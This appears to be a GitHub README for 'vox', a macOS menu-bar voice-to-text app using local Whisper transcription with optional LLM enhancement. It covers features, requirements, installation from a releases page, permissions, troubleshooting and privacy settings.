vox is a voice-to-text app that respects your privacy. It uses local Whisper transcription technology to convert your speech into text right on your computer. No audio data leaves your device. You can also enhance transcripts using optional large language models (LLMs) if you want smarter outputs. Designed with privacy and productivity in mind, vox helps you dictate notes, messages, or documents quickly without internet worries.
While it’s built with advanced tech under the hood, vox runs smoothly on your Mac and fits neatly into your menu bar. You don't need any programming experience to use it.
- Local Transcription: Your voice converts to text without sending data online.
- LLM Enhancement: Optional smart editing and context improvements to your transcripts.
- Menu Bar App: Easy to access and run from your Mac’s menu bar.
- Simple Controls: Start, pause, stop dictation with a couple of clicks.
- Multi-Language Support: Recognizes many languages for flexible use.
- Privacy First: Your audio and text always stay on your computer.
- Lightweight: Low CPU and memory use while running.
- Real-Time Text: See your words as you speak without delay.
- Export Options: Save your text to common file formats or copy to clipboard.
vox is designed primarily for macOS users but can potentially work on other platforms with some tweaks.
- Operating System: macOS 11.0 Big Sur or newer
- Processor: Intel or Apple Silicon (M1/M2) CPU
- Memory: Minimum 4 GB RAM
- Storage: At least 500 MB free space for installation and temporary transcription files
- Microphone: Built-in or external microphone connected and enabled
- Internet: Not required for basic transcription, but needed for optional LLM enhancements
Follow these steps to download, install, and start using vox on your Mac.
Click this big button to get to the official download page. You will find the latest version there.
You will be taken to the GitHub releases page for vox. Look for the latest version suitable for macOS. The file usually ends with .dmg or .zip.
- Locate the downloaded file in your Downloads folder.
- If it is a
.dmg, double-click it to open the installer window. - Drag the vox app icon into your Applications folder.
- If it is a
.zip, double-click it to unzip, then drag the app into Applications.
- Go to your Applications folder.
- Double-click the vox app icon.
- You might see a security warning the first time. Click Open to confirm.
For vox to work properly, it needs permission to access your microphone:
- When prompted, click Allow on the microphone access request.
- If you miss the prompt, go to System Preferences > Security & Privacy > Privacy tab.
- Select Microphone and check the box next to vox.
- Click the vox icon in your menu bar.
- Choose Start Dictation to begin speaking.
- Watch as your words appear immediately on screen.
- Use Pause or Stop as needed.
All speech recognition happens on your Mac. This means no audio leaves your system. Whisper technology is known for its accuracy and speed in voice-to-text conversion.
If you want your text cleaned up automatically or explained better, you can enable the LLM feature. This runs a language model locally or on your own private server. It makes your text easier to read without sacrificing privacy.
vox runs quietly in the menu bar so you can access it anytime without opening a full app window. Click the icon for quick start, pause, or settings.
After transcription, you can:
- Copy text to the clipboard
- Save text files (.txt, .md)
- Export to common document formats
- Send text to your favorite notes or email apps
- Make sure microphone permission is enabled.
- Check if your microphone is working with another app.
- Restart vox and try again.
- Pause and restart dictation.
- Ensure your Mac has enough free memory.
- Close other heavy apps that may slow your system.
- Check your internet connection if using a cloud-based LLM.
- Make sure you have configured local LLM settings properly in vox preferences.
- Restart vox after changing LLM settings.
- Restart your Mac.
- Reinstall the latest vox version from the releases page.
- Contact support or create an issue on GitHub if problems persist.
vox processes all voice data locally by default. Your audio recordings do not send to any servers unless you enable optional LLM features that require connection to the language model. This setup keeps your data safe and private on your machine.
No tracking, logging, or sharing of your voice data occurs. You control when and how your data is processed.
In the app preferences, you can customize:
- Language selection for transcription
- Hotkeys for starting/stopping dictation
- Output file format and location
- Enable or disable LLM enhancements
- Adjust microphone input sensitivity
If you hit any snags, visit the issues page on GitHub to see if others have solutions or to open a new issue.
Visit this page to download the latest vox version for macOS and follow the install steps:
https://github.com/TestingOrbic/vox/releases
dictation, electron, llm, macos, menu-bar-app, privacy, productivity, react, speech-recognition, typescript, voice-to-text, whisper